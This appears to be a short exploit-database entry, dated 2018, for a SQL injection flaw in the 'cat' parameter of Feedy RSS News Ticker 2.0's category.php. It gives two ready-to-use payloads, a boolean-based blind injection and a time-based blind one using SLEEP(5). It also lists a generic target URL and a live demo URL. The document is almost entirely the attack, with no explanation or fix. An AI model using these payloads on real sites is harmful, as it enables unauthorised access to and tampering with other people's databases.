Feedy RSS News Ticker 2.0 - 'cat' SQL Injection

# Exploit Title: Feedy RSS News Ticker 2.0 - 'cat' SQL Injection
# Dork: N/A
# Date: 2018-05-22
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/feedy-rss-news-ticker/5818277
# Version: 2.0
# Category: Webapps
# Tested on: Kali linux

# PoC: SQLi:
# Parameter: cat
# Type: boolean-based blind
# Demo: http://target/feedy/category.php?cat=
# Payload: 

cat=akkus+keyney' AND 2367=2367 AND 'NKyC'='NKyC

# Type: AND/OR time-based blind
# Demo: http://demo.cudevo.com/feedy/category.php?cat=1
# Payload: 

cat=akkus+keyney' AND SLEEP(5) AND 'AEHg'='AEHg